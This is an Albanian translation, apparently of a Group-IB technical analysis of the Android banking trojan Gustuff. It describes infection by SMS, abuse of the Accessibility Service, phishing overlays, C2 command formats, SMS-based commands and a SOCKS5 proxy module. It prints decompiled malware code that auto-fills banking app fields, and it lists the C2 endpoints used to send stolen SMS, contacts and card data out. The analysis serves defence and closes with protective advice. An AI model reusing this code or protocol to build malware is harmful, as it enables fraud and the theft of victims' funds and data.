Si Android Trojan Gustuff merr më të mirën (fiat dhe kripto) nga llogaritë tuaja

Së fundmi Group-IB njoftoi për aktivitetin e Trojan-it të Android Gustuff. Ai vepron ekskluzivisht në tregjet ndërkombëtare, duke sulmuar klientët e 100 bankave më të mëdha të huaja, përdoruesit e 32 portofolëve të kriptomonedhave, si dhe burimeve të mëdha e-commerce. Ndërkohë, zhvilluesi i Gustuff është një kriminel kibernetik rus me pseudonimin Bestoffer. Pak kohë më parë, ai e reklamonte Trojan-in e tij si "një produkt serioz për njerëzit me njohuri dhe përvojë".

Specialisti për analizën e malware-it Group-IB Ivan Pisarëv në studimin e tij shpjegon në detaje sesi funksionon Gustuff dhe çfarë rreziku përfaqëson ai.

Kush është në shënjestër nga Gustuff

Gustuff i përket një brezi të ri të programeve të dëmshme me funksione të plota automatizuese. Sipas zhvilluesit, Trojan-i është një version i ri e përmirësuar i programit të dëmshëm AndyBot, i cili nga nëntori 2017 sulmon telefonat me OS Android dhe vjedh para përmes formave të falsifikuara të internetit, të cilat maskohen si aplikacione mobile të bankave të njohura ndërkombëtare dhe sistemeve të pagesave. Bestoffer ka raportuar se çmimi i qirasë për "Gustuff Bot" ishte 800 $ në muaj.

Analiza e mostrës së Gustuff ka treguar se potencialisht Trojan-i është drejtuar ndaj klientëve që përdorin aplikacione mobile të bankave më të mëdha, si Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, si dhe ndaj portofolëve të kriptomonedhave Bitcoin Wallet, BitPay, Cryptopay, Coinbase etj.

Fillimisht i krijuar si një Trojan bankar klasik, versioni aktual i Gustuff ka zgjeruar ndjeshëm listën e objekteve të mundshme për sulm. Përveç aplikacioneve bankare të kompanive fintech dhe shërbimeve të kriptomonedhave, Gustuff sulmon përdoruesit e aplikacioneve të tregjeve, dyqaneve online, sistemeve të pagesave dhe mesazherëve. Në veçanti, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut dhe të tjerët.

Pika e hyrjes: shpresohet në infektimin masiv

Gustuff ka një vektor «klasik» për infektimin e smartphone-ve Android nëpërmjet mesazheve SMS me lidhje për APK. Kur një pajisje Android infektohet nga trojani, ai mund të shpërndajë Gustuff-it nëpërmjet kontakteve të telefonit të infektuar ose në bazën e të dhënave të serverit. Funksionalitetet e Gustuff janë të dizajnuara për infektim masiv dhe maksimizimin e kapitalizimit të biznesit të operuesve të tij – ai ka një funksion unik të «autozalit» në aplikacione legjitime bankare mobile dhe portofolat kriptografikë, që lejon të përshpejtojë dhe të përmasojë vjedhjen e parave.

Studimi i trojanit ka treguar se funksioni i autolizës është implementuar me ndihmën e Accessibility Service — një shërbim për njerëzit me aftësi të kufizuara. Gustuff nuk është trojani i parë që kalon me sukses mbrojtjen ndaj ndërveprimit me elemente të dritareve të aplikacioneve të tjera përmes këtij shërbimi Android. Megjithatë, përdorimi i Accessibility Service së bashku me autolizën mbetet ende një fenomen mjaft të rrallë.

Pas shkarkimit në telefonin e viktimës, Gustuff, duke përdorur Accessibility Service, merr mundësinë të ndërveprojë me elementet e dritareve të aplikacioneve të tjera (bankare, kriptovalutash, si dhe aplikacione për blerje online, mesazhe etj.), duke kryer veprimet e nevojshme për sulmuesit. Për shembull, me urdhrin e serverit, trojani mund të klikohet në butona dhe të ndryshojë vlerat e fushave të tekstit në aplikacionet bankare. Përdorimi i mekanizmit të Accessibility Service lejon trojanin të kalojë mekanizmat e mbrojtjes që bankat përdorin për të kundërshtuar trojanët e telefonave mobil të brezit të kaluar, si dhe ndryshimet në politikat e sigurisë të implementuara nga Google në versionet e reja të sistemit operativ Android. Kështu, Gustuff «di» të çaktivizojë mbrojtjen Google Protect: sipas pretendimeve të autorit, ky funksion aktivizohet në 70% të rasteve.

Gjithashtu, Gustuff mund të tregojë njoftime PUSH fals me ikona të aplikacioneve të legjitimta mobile. Përdoruesi klikoni në njoftimin PUSH dhe sheh një dritare phishing të ngarkuar nga serveri, ku ai vetë fut informacionin e kërkuar për kartën bankare ose portofolin krypto. Në një skenar tjetër, Gustuff hap aplikacionin nën emrin e të cilit ishte shfaqur njoftimi PUSH. Në këtë rast, programi keqdashës me urdhrin e serverit përmes Accessibility Service mund të mbushë fushat e formës së aplikacionit bankar për një transaksion mashtrues.

Funksionalitetet e Gustuff përfshijnë gjithashtu dërgimin në server të informacionit mbi pajisjen e infektuar, mundësinë e leximit/dërgimit të mesazheve SMS, dërgimin e kërkesave USSD, aktivizimin e SOCKS5 Proxy, kalimin përmes lidhjeve, dërgimin e skedarëve (përfshirë skanime dokumentesh, screenshot-e, fotografi) në server, dhe rikthimin e pajisjes në parametrat fabrikë.

Analiza e programit keqdashës

Para instalimit të aplikacionit keqdashës, sistemi operativ Android i tregon përdoruesit një dritare që përmban një listë të të drejtave të kërkuara nga Gustuff:

Instalimi i aplikacionit do të ndodhë vetëm pas marrjes së miratimit nga përdoruesi. Pas aktivizimit të aplikacionit, trojani do të tregojë përdoruesit një dritare:

Pas kësaj, do të fshijë ikonën e tij.

Gustuff është i paketuar, sipas autorit, me ndihmën e paketuesit FTT. Pas aktivizimit, aplikacioni herë pas here i drejtohet serverit CnC për të marrë komanda. Në disa skedarë të hulumtuar nga ne, si server mbikëqyrës është përdorur adresa IP 88.99.171[.]105 (në vazhdim do ta quajmë si <%CnC%>).

Pas aktivizimit, programi fillon dërgimin e mesazheve në serverin http:///api/v1/get.php.

Si përgjigje pritet një JSON në formatin e mëposhtëm:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

Me çdo kërkesë, aplikacioni dërgon informacion mbi pajisjen e infektuar. Formati i mesazhit është i paraqitur më poshtë. Duhet theksuar se fushat full, extra, aplikacione dhe permission së bashku me dy fusha janë opsionale dhe do të dërgohen vetëm në rastin e një kërkese komande nga CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Ruajtja e të dhënave të konfigurimit

Gustuff ruan informacione të rëndësishme për funksionimin në skedarin e preferencës. Emri i skedarit, ashtu si emrat e parametrave në të, është rezultat i llogaritjes së hash-it MD5 të vargut. 15413090667214.6.1, ku <%name%> — emri origjinal çelës-vlerë. Interpretimi në Python i funksionit të gjenerimit të emrit:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Në vazhdim, do të tregojmë si nameGenerator(input).
Kështu, emri i skedarit të parë: nameGenerator("API_SERVER_LIST"), ai përmban vlera me emrat e mëposhtëm:

Moduli përpunimit të komandave nga serveri

Aplikacioni mban adresat e serverëve CnC në formën e një array të koduar me Base85 të dhënave. Lista CnC - servera mund të ndryshohet me ardhjen e një komande përkatëse, në atë rast adresat do të mbahen në skedarin e preferencave.

Në përgjigje të kërkesës, serveri dërgon aplikacionit një komandë. Vlen të theksohet se komandat dhe parametrat janë paraqitur në formatin JSON. Aplikacioni mund të përpunojë komandat në vijim:

Formati i komandës njoftim:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Njoftimi, i krijuar nga skedari që po hetohet, duket identik me njoftimet e krijuara nga aplikacioni, i cili është specifikuar në fushën app. Nëse vlera e fushës openApp — True, kur hapet njoftimi, ndizet aplikacioni, i cili është specifikuar në fushën app. Nëse vlera e fushës openApp — False, atëherë:

• hapet një dritare phishing, përmbajtja e së cilës ngarkohet nga drejtoria /hgps/
• hapet një dritare phishing, përmbajtja e së cilës ngarkohet nga serveri ?id=&app=
• hapet një dritare phishing, e maskuar si Google Play Card, me mundësinë për të futur të dhënat e kartës.

Rezultati i ekzekutimit të çdo komande aplikacioni dërgohet në set_state.php në formën e një objekti JSON me formatin e mëposhtëm:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
Lista e komandave që aplikacioni trajton përfshin veprim. Kur merr një komandë, moduli i trajtimit të komandave i drejtohet kësaj shërbimi me qëllim realizimin e komandës së zgjeruar. Si parametër, shërbimi merr një objekt JSON. Shërbimi mund të kryejë komandat e mëposhtme:

1. PARAMSAT_ACTION — kur të pranohet një komandë e tillë, shërbimi në radhë të parë merr nga parameteri JSON vlerën sipas çelësit Type, e cila mund të jetë:

• serviceInfo – nënkomanda merr nga parameteri JSON vlerën sipas çelësit includeNotImportant. Nëse flaga është True — aplikacioni aktivizon flagun FLAG_ISOLATED_PROCESS në shërbimin që përdor Accessibility Service. Kështu, shërbimi do të fillojë në një proces të veçantë.
• root — të marrë dhe dërgojë në server informacion mbi dritaren që është aktualisht në fokus. Aplikacioni merr informacionin përmes klasës AccessibilityNodeInfo.
• admin — të kërkojë të drejtat e administratorit.
• delay — të ndalë funksionimin e ActionsService për atë numër milisekondash që është e specifikuar në parameterin sipas çelësit "data".
• windows — të dërgojë listën e dritareve të dukshme për përdoruesin.
• install — të instalohet aplikacioni në pajisjen e infektuar. Emri i paketës — arkivimi ndodhet në çelësin "fileName". Arkivi vetë ndodhet në drejtorinë Downloads.
• global – nënkomanda ka për qëllim të realizojë kalimin nga dritarja aktuale:
  • në menunë Quick Settings
  • mbrapa
  • në shtëpi
  • në njoftime
  • në dritaren e aplikacioneve të hapura së fundmi

• launch — të fillojë aplikacionin. Emri i aplikacionit vjen si parameter sipas çelësit data.
• sounds — të ndryshojë mënyrën e zërit në silence.
• unlock — aktivizon ndriçimin e ekranit dhe tastierës në intensitet të plotë. Aplikacioni e realizon këtë veprim përmes WakeLock, duke cituar si tag rreshtin [Application lable]:INFO
• permissionOverlay — funksioni nuk është i realizuar (përgjigja në ekzekutimin e komandës — {"message":"Not support"} ose {"message":"low sdk"})
• gesture — funksioni nuk është i realizuar (përgjigja në ekzekutimin e komandës — {"message":"Not support"} ose {"message":"Low API"})
• lejet — kjo komandë është e nevojshme për të kërkuar të drejtat për aplikacionin. Megjithatë, funksioni i kërkesës nuk është realizuar, kështu që komandës nuk i ka kuptim. Lista e të drejatve të kërkuara vjen si një masiv JSON me çelësin "permissions". Lista standarde:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• open — të shfaqë një dritare phishing. Në varësi të parameterit që vjen nga serveri, aplikacioni mund të demonstrojë dritare të ndryshme phishing:
  • Të tregojë dritaren phishing, përmbajtja e së cilës është shkruar në skedarin në drejtorinë /hgps/. Rezultati i ndërveprimit të përdoruesit me dritaren do të dërgohet në adresën /records.php
  • Trego dritaren phishing, e cila ngarkohet paraprakisht nga adresa ?id=&app=. Rezultati i ndërveprimit të përdoruesit me dritaren do të dërgohet në adresën /records.php
  • Trego dritaren phishing, e cila është maskuar si Google Play Card.

• interactive — komanda është e destinuar për ndërveprim me elementet e dritareve të aplikacioneve të tjera duke përdorur AcessibilityService. Për ndërveprimin, është realizuar një shërbim i veçantë. Aplikacioni i hetuar mund të ndërveprojë me dritaret:
  • Aktive në këtë moment. Në këtë rast, parametri përmban id ose text (emrin) e objektit me të cilin duhet të ndërveprohet.
  • Të dukshme për përdoruesin në momentin e ekzekutimit të komandës. Aplikacioni zgjedh dritaret sipas id.

  Pas marrjes së objekteve AccessibilityNodeInfo për elementet e dritares që interesojnë, aplikacioni, në varësi të parametrave, mund të kryejë veprime:

  • focus — të vendosë fokusin në objekt.
  • click — të klikojë në objekt.
  • actionId — të kryejë veprim sipas ID.
  • setText — të ndryshojë tekstin e objektit. Ndryshimi i tekstit mund të bëhet në dy mënyra: duke realizuar veprimin ACTION_SET_TEXT (nëse versioni i Android të pajisjes së infektuar është më të vogël ose i barabartë me LOLLIPOP), ose duke vënë në clipboard një varg dhe duke e vendosur atë në objekt (për versionet më të reja). Kjo komandë mund të përdoret për të ndryshuar të dhënat në aplikacionin bankar.

2. PARAMS_ACTIONS — e njëjta si PARAMSAT_ACTION, vetëm se vjen si një masë JSON komando.

Duket se shumë njerëz do të jenë të interesuar se si duket funksioni i ndërveprimit me elementët e dritares së një aplikacioni tjetër. Kjo është mënyra se si është realizuar ky funksionalitet në Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funksioni i zëvendësimit të tekstit:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
            ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
            result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Pra ndaj, me një konfigurim të duhur të serverit të menaxhimit, Gustuff është në gjendje të plotësojë fushat e tekstit në aplikacionet bankare dhe të klikojë mbi butonat e nevojshëm për të realizuar transaksionet. Trojani as që ka nevojë të kalojë autorizimin në aplikacion — mjafton të dërgojë një urdhër për të demonstruar një njoftim PUSH dhe të hapë aplikacionin bankar të instaluar më parë. Përdoruesi do ta kalojë autorizimin vetë, pas së cilës Gustuff do të mund të realizojë automatikisht ngarkimin.

Moduli i përpunimit të mesazheve SMS

Aplikacioni vendos një trajtues eventi për pranimin e mesazheve SMS nga pajisja e infektuar. Aplikacioni në shqyrtim mund të pranojë urdhra nga operatori, të cilat vijnë në tekstin e mesazhit SMS. Urdhërat vijnë në formatin:

7!5=<%Base64 encoded command%>

Aplikacioni kërkon në të gjitha mesazhet SMS që vijnë për të gjetur varg 7!5=, në rastin e zbulimit të një vargu – dekodon nga Base64 vargun me një zhvendosje prej 4 dhe ekzekuton komandën. Komandat janë të ngjashme me komandat e CnC. Rezultati i ekzekutimit dërgohet në atë numër nga i cili u mor komanda. Formati i përgjigjes:

7*5=<%Base64 encode of «result_code command»%>

Opcionalisht, aplikacioni mund të dërgojë të gjitha mesazhet e pranuara në numrin Root. Për këtë, në skedarin preference duhet të tregohen numri Root dhe të vendoset flagu i ridirektimit të mesazheve. Mesazhi SMS dërgohet në numrin e keqbërësit në formatin:

—

Gjithashtu, opcionalisht aplikacioni mund të dërgojë mesazhe në CnC. Mesazhi SMS dërgohet në server në formatin JSON:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Nëse është vendosur flagu nameGenerator(«DEFAULT_APP_SMS») – aplikacioni ndalon përpunimin e mesazhit SMS dhe pastron listën e mesazheve hyrëse.

Moduli Proxy

Në aplikacionin e shqyrtuar, ekziston moduli Backconnect Proxy (më tej Moduli Proxy), i cili ka një klasë të veçantë që përmban fusha statike me konfigurimin. Të dhënat e konfiguruara ruhen në shembuj në formë të hapur:

Të gjitha veprimet që kryhen nga Moduli Proxy regjistrohen në skedarë. Për këtë, aplikacioni krijon një direktor në Ruajtjen e Jashtme me emrin «logs» (fusha ProxyConfigClass.logsDir në klasën e konfigurimit), ku ruhen skedarët e regjistrimit. Regjistrimi ndodh në skedarë me emrat:

1. main.txt – në këtë skedar regjistrohet funksionimi i klasës së quajtur CommandServer. Në vazhdim, regjistrimi i vargut str në këtë skedar do të përshkruhet si mainLog(str).
2. session-.txt — në këtë skedar ruhen të dhënat e regjistrimit të lidhura me një sesion të caktuar të proksimit. Në vazhdim, regjistrimi i vargut str në këtë skedar do të përshkruhet si sessionLog(str).
3. server.txt – në këtë skedar regjistrohen të dhënat e të gjitha të dhënave shkruar në skedarët e përmendur më lart.

Formati i të dhënave të regjistrimit:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Përjashtimet që ndodhin gjatë funksionimit të Moduli Proxy regjistrohen gjithashtu në skedar. Për këtë, aplikacioni formon një objekt JSON në formatin:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Pas konverton në një përfaqësim tekstual dhe e regjistron atë.

Lëshimi i modulit Proxy ndodh pasi merr një komandë përkatëse. Pas pranimit të urdhrit për të aktivizuar modulit Proxy, aplikacioni nis shërbimin me emrin MainService, i cili është përgjegjës për menaxhimin e funksionimit të modulit Proxy – aktivizimin dhe ndalimin e tij.

Hapat e aktivizimit të shërbimit:

1. Aktivizon një timer që aktivizohet çdo minutë dhe kontrollon aktivitetin e modulit Proxy. Nëse moduli nuk është aktiv – e aktivizon atë.
Po ashtu, kur ndodh ngjarja android.net.conn.CONNECTIVITY_CHANGE aktivizohet moduli Proxy.

2. Aplikacioni krijon wake-lock me parametrin PARTIAL_WAKE_LOCK dhe e kap atë. Kështu, nuk e lejon CPU-në e pajisjes të kalojë në modalitetin gjumë.

3. Aktivizon klasën e përpunimit të komandave të modulit Proxy, duke regjistruar paraprakisht vargun mainLog("start server") dhe

Server::start() host[], commandPort[], proxyPort[]

ku proxy_cnc, command_port dhe proxy_port – janë parametrat e marra nga konfigurimi i serverit Proxy.

Klasa e përpunimit të komandave quhet CommandConnection. Menjëherë pas aktivizimit, kryen veprimet e mëposhtme:

4. Konektimi me ProxyConfigClass.host: ProxyConfigClass.commandPort dhe dërgimi i të dhënave për pajisjen e infektuar në formatin JSON:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Ku:

• id – identifikuesi, përpiqet të marrë nga skedari Shared Preference me emrin "x" vlerën nga fusha "id". Nëse nuk është e mundur të merret kjo vlerë – krijon një të re. Kështu, moduli Proxy ka identifikuesin e tij, i cili gjenerohet njësoj si ID i Bot.
• imei – IMEI i pajisjes. Nëse ndodhi një gabim gjatë marrjes së vlerës – në vend të këtij fushe do të regjistrohet një mesazh gabimi.
• imsi — Identiteti Ndërkombëtar i Abonentit të Mobilit të pajisjes. Nëse ndodhi një gabim gjatë marrjes së vlerës, në vend të këtij fushë do të shkruhet një mesazh gabimi.
• model — Emri i dukshëm për përdoruesin për produktin përfundimtar.
• manufacturer — Prodhuesi i produktit/harduerit (Build.MANUFACTURER).
• androidVersion — vargu në formatin " (),"
• country — vendndodhja aktuale e pajisjes.
• partnerId – varg i zbrazët.
• packageName – emri i paketës.
• networkType — tipi i aktual i lidhjes rrjet (shembuj: "WIFI", "MOBILE"). Në rast gabimi kthen null.
• hasGsmSupport – true – nëse telefoni mbështet GSM, përndryshe false.
• simReady – statusi i kartës SIM.
• simCountry — Kodi ISO i vendit (sipërfaqësuar mbi bazën e ofruesit të kartës SIM).
• networkOperator — emri i operatorit. Nëse ndodhi një gabim gjatë marrjes së vlerës, në vend të këtij fushë do të shkruhet një mesazh gabimi.
• simOperator — Emri i Ofruesit të Shërbimit (SPN). Nëse ndodhi një gabim gjatë marrjes së vlerës, në vend të këtij fushë do të shkruhet një mesazh gabimi.
• version — kjo fushë ruhet në klasën e konfigurimit, për versionet e shqyrtuara të robotit ajo ishte e barabartë me "1.6".

5. Kaloni në modalitetin e pritjes për komandat nga serveri. Komandat nga serveri vijnë në format:

• 0 offset – komandë
• 1 offset – sessionId
• 2 offset – gjatësi
• 4 offset — të dhëna

Kur merret komanda, aplikacioni regjistron:
mainLog("Header { sessionId], type[], length[] }")

Komandat e mëposhtme janë të mundshme nga serveri:

Mesazhi PONG përbëhet nga 4 bajtë dhe duket si më poshtë: 0x04000000.

Kur merr komanda connectionId (për krijimin e një lidhjeje të re) CommandConnection krijon një instancë të klasës ProxyConnection.

• Në prokura marrin pjesë dy klasa: ProxyConnection dhe end. Kur krijohet klasa ProxyConnection ndodh lidhja me adresën ProxyConfigClass.host: ProxyConfigClass.proxyPort dhe dërgimi i objektit JSON:

 {
    "id":
}

Në përgjigje, serveri dërgon një mesazh SOCKS5, i cili përmban adresën e serverit të largët, me të cilin duhet të krijohet lidhja. Ndërveprimi me këtë server ndodh përmes klasës end. Diagramatikisht, krijimi i lidhjes mund të paraqitet si më poshtë:

Ndërveprimet rrjetore

Për të parandaluar analizimin e trafikut nga sniffer-at e rrjetit, ndërveprimi midis serverit CnC dhe aplikacionit mund të mbrohet përmes protokollit SSL. Të gjitha të dhënat e transmetuara, si nga serveri ashtu edhe në server, paraqiten në formatin JSON. Aplikacioni gjatë funksionimit kryen kërkesat e mëposhtme:

• http:///api/v1/set_state.php — rezultati i ekzekutimit të komandës.
• http:///api/v1/get.php — marrja e komandës.
• http:///api/v1/load_sms.php — ngarkimi i mesazheve SMS nga pajisja e infektuar.
• http:///api/v1/load_ab.php — ngarkimi i listës së kontakteve nga pajisja e infektuar.
• http:///api/v1/aevents.php – kërkesa bëhet gjatë azhurnimit të parametrave, që ndodhen në skedarin preference.
• http:///api/v1/set_card.php — ngarkimi i të dhënave të marra përmes një oknës phishing, që maskohet si Google Play Market.
• http:///api/v1/logs.php – ngarkimi i të dhënave të logëve.
• http:///api/v1/records.php – ngarkimi i të dhënave të marra përmes oknave phishing.
• http:///api/v1/set_error.php – njoftimi mbi ndodhim të ndonjë gabimi.

R rekomandimet

Me qëllim për të mbrojtur klientët e saj nga kërcënimi i trojaneve mobilë, kompanitë duhet të përdorin zgjidhje komplekse, të cilat lejojnë ndjekjen dhe paralajmërimin nga aktiviteti i dëmshëm pa instaluar ndonjë softuer shtesë në pajisjet e përdoruesve.

Për këtë arsye, metodat e zbuluar të nënshkrimit të trojaneve mobilë duhet të forcohen me teknologjitë e analizës së sjelljes si të klientit ashtu edhe të aplikacionit vetë. Gjithashtu, mbrojtja duhet të përfshijë një funksion të identifikimit të pajisjeve duke përdorur teknologjinë e gjurmës dixhitale, e cila do të lejojë të kuptohet kur llogaria përdoret nga një pajisje e pazakontë dhe tashmë ka rënë në duar të një mashtruesi.

Një pikë shumë e rëndësishme është pranimi i mundësisë për analizën ndër-kanal, e cila i jep mundësinë kompanive të kontrollojnë rreziqet që lindin jo vetëm nga kanali i internetit, por edhe nga kanali mobil, për shembull, në aplikacionet për bankat mobile, për operacionet me kriptovaluta dhe çdo gjë tjetër ku mund të kryhet një transaksion financiar.

Rregullat e sigurisë për përdoruesit:

• mos instalo aplikacione për pajisjet mobile me sistemin operativ Android nga ndonjë burim tjetër, përveç Google Play, duke i kushtuar vëmendje të veçantë të drejtave që aplikacioni kërkon;
• rregullisht instalo azhurnimet e sistemit operativ Android;
• të kushtoni vëmendje shtesave të skedareve që ngarkoni;
• të mos vizitoni burime të dyshimta;
• të mos klikoni në lidhjet e marra në mesazhet SMS.

Me pjesëmarrjen e Semenës Rogacheva, specialistes së re për hulumtimin e kodit të dëmshëm në Laboratorin e Kriminalistikës Kompjuterike Group-IB.

Burimi: habr.com